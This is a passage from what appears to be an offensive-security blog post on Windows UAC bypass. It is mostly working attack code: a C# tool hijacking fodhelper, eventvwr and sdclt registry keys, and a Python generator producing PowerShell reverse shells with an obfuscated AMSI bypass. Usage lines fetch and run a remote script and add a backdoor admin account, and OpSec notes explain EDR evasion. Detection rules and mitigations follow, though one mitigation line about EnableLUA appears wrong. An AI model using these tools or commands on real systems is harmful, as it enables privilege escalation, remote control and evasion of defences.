 95            Thread.Sleep(200);
 96            Process.Start(new ProcessStartInfo {
 97                FileName        = Path.Combine(Environment.GetEnvironmentVariable("WINDIR"),
 98                                               "System32", "eventvwr.exe"),
 99                WindowStyle     = ProcessWindowStyle.Hidden,
100                UseShellExecute = false
101            });
102            Thread.Sleep(3000);
103            return true;
104        } finally {
105            DeleteRegKey(@"Software\Classes\mscfile");
106        }
107    }
108
109    static bool BypassSdclt(string payload) {
110        const string regKey = @"Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe";
111        try {
112            SetRegValue(regKey, "", payload);
113            Thread.Sleep(200);
114            Process.Start(new ProcessStartInfo {
115                FileName        = Path.Combine(Environment.GetEnvironmentVariable("WINDIR"),
116                                               "System32", "sdclt.exe"),
117                Arguments       = "/kickoffelev",
118                WindowStyle     = ProcessWindowStyle.Hidden,
119                UseShellExecute = false
120            });
121            Thread.Sleep(3000);
122            return true;
123        } finally {
124            DeleteRegKey(@"Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe");
125        }
126    }
127
128    // ── bypass catalogue ──────────────────────────────────────────────────
129    class BypassEntry {
130        public string   Name;
131        public string   Binary;
132        public string   Notes;
133        public Func<string, bool> Execute;
134        public bool     NeedsFilesystem; // true = cmd must be a file path
135    }
136
137    static List<BypassEntry> BuildCatalogue(string cmd) => new() {
138        new BypassEntry {
139            Name            = "fodhelper",
140            Binary          = "fodhelper.exe",
141            Notes           = "ms-settings HKCU registry hijack — most reliable",
142            Execute         = c => BypassFodhelper(c),
143            NeedsFilesystem = false
144        },
145        new BypassEntry {
146            Name            = "eventvwr",
147            Binary          = "eventvwr.exe",
148            Notes           = "mscfile HKCU registry hijack",
149            Execute         = c => BypassEventvwr(c),
150            NeedsFilesystem = false
151        },
152        new BypassEntry {
153            Name            = "sdclt",
154            Binary          = "sdclt.exe /kickoffelev",
155            Notes           = "App Paths control.exe redirect — requires file path payload",
156            Execute         = c => BypassSdclt(c),
157            NeedsFilesystem = true
158        },
159    };
160
161    // ── main ──────────────────────────────────────────────────────────────
162    static int Main(string[] args) {
163        // parse args
164        string cmd    = "powershell.exe -nop -w hidden -ep bypass";
165        string method = null;
166        bool   list   = false;
167
168        for (int i = 0; i < args.Length; i++) {
169            if (args[i] == "--cmd"    && i+1 < args.Length) cmd    = args[++i];
170            if (args[i] == "--method" && i+1 < args.Length) method = args[++i];
171            if (args[i] == "--list") list = true;
172        }
173
174        int integrity = GetIntegrityLevel();
175        Console.WriteLine($"[*] current integrity: 0x{integrity:X}");
176
177        if (integrity >= HIGH_INTEGRITY) {
178            Console.WriteLine("[+] already High integrity — no bypass needed");
179            return 0;
180        }
181        if (integrity < MEDIUM_INTEGRITY) {
182            Console.Error.WriteLine("[-] below Medium integrity — bypass will fail");
183            return 1;
184        }
185
186        var catalogue = BuildCatalogue(cmd);
187
188        if (list) {
189            Console.WriteLine("\n[*] available bypasses:");
190            foreach (var b in catalogue)
191                Console.WriteLine($"    {b.Name,-15} {b.Binary,-30} {b.Notes}");
192            return 0;
193        }
194
195        // filter to requested method or try all
196        var targets = method != null
197            ? catalogue.FindAll(b => b.Name.Equals(method, StringComparison.OrdinalIgnoreCase))
198            : catalogue;
199
200        if (targets.Count == 0) {
201            Console.Error.WriteLine($"[-] unknown method: {method}");
202            return 1;
203        }
204
205        Console.WriteLine($"[*] command: {cmd}");
206
207        foreach (var bypass in targets) {
208            Console.WriteLine($"\n[*] trying: {bypass.Name} ({bypass.Binary})");
209            try {
210                bool ok = bypass.Execute(cmd);
211                if (ok) {
212                    Console.WriteLine($"[+] {bypass.Name} executed — check your listener");
213                    return 0;
214                }
215            } catch (Exception ex) {
216                Console.Error.WriteLine($"    [-] {bypass.Name} failed: {ex.Message}");
217            }
218        }
219
220        Console.Error.WriteLine("\n[-] all bypass methods failed");
221        return 1;
222    }
223}
 1:: compile
 2csc.exe /out:UACBypass.exe UACBypass.cs
 3
 4:: list available bypasses
 5UACBypass.exe --list
 6
 7:: auto-select bypass, default powershell command
 8UACBypass.exe
 9
10:: custom command
11UACBypass.exe --cmd "powershell -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
12
13:: force specific bypass
14UACBypass.exe --method eventvwr --cmd "cmd /c net user backdoor P@ss123! /add && net localgroup Administrators backdoor /add"

Python Payload Generator

Generates ready-to-paste PowerShell bypass commands for each technique, with optional AMSI bypass prepended.

  1#!/usr/bin/env python3
  2# uac_bypass_gen.py
  3# Generates UAC bypass payloads combining a bypass technique
  4# with optional AMSI bypass and a reverse shell.
  5#
  6# Usage:
  7#   python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444
  8#   python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --technique eventvwr
  9#   python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --amsi --b64
 10
 11import argparse
 12import base64
 13import random
 14import string
 15
 16def rand_var(n=8):
 17    return '$' + ''.join(random.choices(string.ascii_lowercase, k=n))
 18
 19def make_revshell(lhost, port):
 20    return (
 21        f"$c=New-Object Net.Sockets.TCPClient('{lhost}',{port});"
 22        f"$s=$c.GetStream();"
 23        f"[byte[]]$b=0..65535|%{{0}};"
 24        f"while(($i=$s.Read($b,0,$b.Length))-ne 0){{"
 25        f"$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);"
 26        f"$r=(iex $d 2>&1|Out-String);"
 27        f"$rb=[Text.Encoding]::ASCII.GetBytes($r+'PS '+(gl).Path+'> ');"
 28        f"$s.Write($rb,0,$rb.Length);$s.Flush()}}"
 29    )
 30
 31def make_amsi_bypass():
 32    v1, v2, v3 = rand_var(), rand_var(), rand_var()
 33    return (
 34        f"{v1}='System.Management.Automation.'+'AmsiUtils';"
 35        f"{v2}=[Ref].Assembly.GetType({v1});"
 36        f"{v3}={v2}.GetField('amsi'+'Context','NonPublic,Static');"
 37        f"{v3}.SetValue($null,[IntPtr]::Zero);"
 38    )
 39
 40def encode_cmd(ps_code):
 41    encoded = base64.b64encode(ps_code.encode('utf-16-le')).decode()
 42    return f"powershell -nop -w hidden -ep bypass -EncodedCommand {encoded}"
 43
 44def make_fodhelper(cmd, b64=False):
 45    inner = encode_cmd(cmd) if b64 else f"powershell -nop -w hidden -ep bypass -c \"{cmd}\""
 46    reg   = r"HKCU:\Software\Classes\ms-settings\Shell\Open\command"
 47    return (
 48        f"$p='{reg}';"
 49        f"New-Item $p -Force|Out-Null;"
 50        f"Set-ItemProperty $p '(Default)' '{inner}';"
 51        f"New-ItemProperty $p 'DelegateExecute' -Value '' -Force|Out-Null;"
 52        f"Start-Process $env:WINDIR\\System32\\fodhelper.exe -WindowStyle Hidden;"
 53        f"Start-Sleep 3;"
 54        f"Remove-Item 'HKCU:\\Software\\Classes\\ms-settings' -Recurse -Force -EA 0"
 55    )
 56
 57def make_eventvwr(cmd, b64=False):
 58    inner = encode_cmd(cmd) if b64 else f"powershell -nop -w hidden -ep bypass -c \"{cmd}\""
 59    reg   = r"HKCU:\Software\Classes\mscfile\shell\open\command"
 60    return (
 61        f"$p='{reg}';"
 62        f"New-Item $p -Force|Out-Null;"
 63        f"Set-ItemProperty $p '(Default)' '{inner}';"
 64        f"Start-Process $env:WINDIR\\System32\\eventvwr.exe -WindowStyle Hidden;"
 65        f"Start-Sleep 3;"
 66        f"Remove-Item 'HKCU:\\Software\\Classes\\mscfile' -Recurse -Force -EA 0"
 67    )
 68
 69def make_sdclt(payload_path):
 70    reg = r"HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
 71    return (
 72        f"$p='{reg}';"
 73        f"New-Item $p -Force|Out-Null;"
 74        f"Set-ItemProperty $p '(Default)' '{payload_path}';"
 75        f"Start-Process $env:WINDIR\\System32\\sdclt.exe -ArgumentList '/kickoffelev' -WindowStyle Hidden;"
 76        f"Start-Sleep 3;"
 77        f"Remove-Item $p -Force -EA 0"
 78    )
 79
 80TECHNIQUES = {
 81    'fodhelper': make_fodhelper,
 82    'eventvwr':  make_eventvwr,
 83}
 84
 85def main():
 86    p = argparse.ArgumentParser(description="UAC bypass payload generator")
 87    p.add_argument('--lhost',      required=True)
 88    p.add_argument('--lport',      default=4444, type=int)
 89    p.add_argument('--technique',  choices=list(TECHNIQUES.keys()) + ['sdclt', 'all'],
 90                   default='all')
 91    p.add_argument('--amsi',       action='store_true', help='prepend AMSI bypass')
 92    p.add_argument('--b64',        action='store_true', help='base64-encode inner command')
 93    p.add_argument('--sdclt-path', default=r'C:\Windows\Tasks\payload.exe',
 94                   help='payload path for sdclt technique')
 95    args = p.parse_args()
 96
 97    shell     = make_revshell(args.lhost, args.lport)
 98    amsi      = make_amsi_bypass() if args.amsi else ''
 99    inner_cmd = amsi + shell
100
101    targets = list(TECHNIQUES.keys()) if args.technique == 'all' else [args.technique]
102    if args.technique in ('all', 'sdclt'):
103        targets.append('sdclt')
104
105    for t in targets:
106        print(f"\n{'='*70}")
107        print(f"# technique: {t}")
108        print('='*70)
109
110        if t == 'sdclt':
111            payload = make_sdclt(args.sdclt_path)
112        else:
113            payload = TECHNIQUES[t](inner_cmd, args.b64)
114
115        print(payload)
116
117        # also print as a one-liner wrapped in powershell -c
118        full = f"powershell -nop -w hidden -ep bypass -c \"{payload}\""
119        enc  = base64.b64encode(
120            (f"powershell -nop -ep bypass -c \"{payload}\"").encode('utf-16-le')
121        ).decode()
122        print(f"\n# encoded one-liner:")
123        print(f"powershell -nop -w hidden -ep bypass -EncodedCommand {enc}")
124
125if __name__ == '__main__':
126    main()
# generate all techniques with AMSI bypass, base64-encoded
python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --amsi --b64 --technique all

# fodhelper only
python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --technique fodhelper

# sdclt with custom payload path
python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --technique sdclt \
    --sdclt-path "C:\Windows\Tasks\svcupdate.exe"

Full Engagement Workflow

1.  Check integrity level
    whoami /groups | findstr Mandatory
    → must be "Medium Mandatory Level" to proceed

2.  Apply AMSI bypass (see AMSI blog)
    → prevents bypass payload from being blocked before execution

3.  Enumerate available bypass paths
    .\Find-UACRegistryGaps.ps1

4.  Select technique based on target OS / patch level:
    Win10 pre-2019:  fodhelper or eventvwr (most reliable)
    Win10 post-2019: sdclt or SilentCleanup (if patched)
    Win11:           CMLuaUtil COM or SilentCleanup DLL

5.  Generate payload
    python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --amsi --b64

6.  Execute and catch shell
    nc -lvnp 4444

7.  Verify elevation on new shell
    whoami /groups | findstr "High Mandatory"

8.  Proceed with post-exploitation from High integrity

Technique Comparison

techniquetarget binaryOS coveragenoisepatches needed
fodhelperfodhelper.exeWin10/11mediumms-settings HKCU
eventvwreventvwr.exeWin7-11mediummscfile HKCU
sdcltsdclt.exeWin10mediumApp Paths HKCU
SilentCleanupDismHost.exeWin10/11lowPATH + DLL drop
ICMLuaUtil COMcmluautil.dllWin7-11lownone — pure COM
IFileOperationshell32.dllWin7-11lownone — file copy

OpSec Notes

  • Registry artifacts — all HKCU-based bypasses leave keys that EDR and Sysmon will catch on EID 13 (RegistryValueSet). Always clean up immediately after the bypass triggers — the scripts above do this automatically.
  • Process ancestry — High-integrity shells spawned from fodhelper or eventvwr will have those binaries as parent processes. fodhelper.exe → powershell.exe is a well-known detection pattern. Prefer spawning a sacrificial process and injecting rather than running your C2 directly as a child.
  • CMLuaUtil is the quietest option: no HKCU registry writes, no suspicious process parents. The COM invocation can still be caught by ETW.
  • SilentCleanup runs on a schedule. You can pre-plant the DLL and wait for the next scheduled run rather than triggering it yourself, which avoids the suspicious Start-ScheduledTask call.
  • Windows 11 22H2+ has patched fodhelper and eventvwr. Always verify the OS build before selecting a technique.

Detection (Blue Team)

signalevent
HKCU ms-settings\Shell\Open\command createdSysmon EID 13 — RegistryValueSet
HKCU mscfile\shell\open\command createdSysmon EID 13 — RegistryValueSet
fodhelper.exe spawning shellsSysmon EID 1 — ParentImage
eventvwr.exe spawning shellsSysmon EID 1 — ParentImage
sdclt.exe /kickoffelev in command lineSysmon EID 1 — CommandLine
High-integrity process with suspicious parentSysmon EID 1 — IntegrityLevel + ParentImage
SilentCleanup task triggered manuallyWindows Task Scheduler EID 200
Unsigned DLL loaded by DismHost.exeSysmon EID 7 — ImageLoad

Sysmon detection rules:

 1<!-- UAC bypass registry key creation -->
 2<RegistryEvent onmatch="include">
 3  <TargetObject condition="contains">ms-settings\Shell\Open\command</TargetObject>
 4  <TargetObject condition="contains">mscfile\shell\open\command</TargetObject>
 5  <TargetObject condition="contains">App Paths\control.exe</TargetObject>
 6</RegistryEvent>
 7
 8<!-- Auto-elevated binaries spawning children -->
 9<ProcessCreate onmatch="include">
10  <ParentImage condition="is">C:\Windows\System32\fodhelper.exe</ParentImage>
11  <ParentImage condition="is">C:\Windows\System32\eventvwr.exe</ParentImage>
12  <ParentImage condition="is">C:\Windows\System32\sdclt.exe</ParentImage>
13</ProcessCreate>

PowerShell hunt query — find UAC bypass registry artifacts:

 1# Hunt-UACBypassKeys.ps1
 2$suspiciousKeys = @(
 3    "HKCU:\Software\Classes\ms-settings",
 4    "HKCU:\Software\Classes\mscfile",
 5    "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
 6)
 7
 8foreach ($key in $suspiciousKeys) {
 9    if (Test-Path $key) {
10        Write-Host "[!] SUSPICIOUS KEY FOUND: $key" -ForegroundColor Red
11        Get-ItemProperty $key -ErrorAction SilentlyContinue |
12            Format-List | Out-Host
13    }
14}
15
16# also query Sysmon EID 13 for recent registry writes to these paths
17Get-WinEvent -FilterHashtable @{
18    LogName = "Microsoft-Windows-Sysmon/Operational"; Id = 13
19} -MaxEvents 500 -ErrorAction SilentlyContinue |
20Where-Object { $_.Message -match "ms-settings|mscfile|App Paths\\control" } |
21Select-Object TimeCreated, Message | Format-List

Mitigation:

# Set UAC to "Always notify" — makes auto-elevation require explicit prompt
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `
    -Name "ConsentPromptBehaviorAdmin" -Value 2 -Type DWord

# Disable auto-elevation entirely (breaks some legitimate apps)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `
    -Name "EnableLUA" -Value 1 -Type DWord

MITRE ATT&CK

techniqueIDdescription
Bypass User Account ControlT1548.002All registry hijack techniques
Abuse Elevation Control MechanismT1548Parent technique
Hijack Execution FlowT1574SilentCleanup DLL hijack
Modify RegistryT1112HKCU key manipulation
Defense EvasionTA0005Primary tactic
Privilege EscalationTA0004Primary tactic

References

Last updated on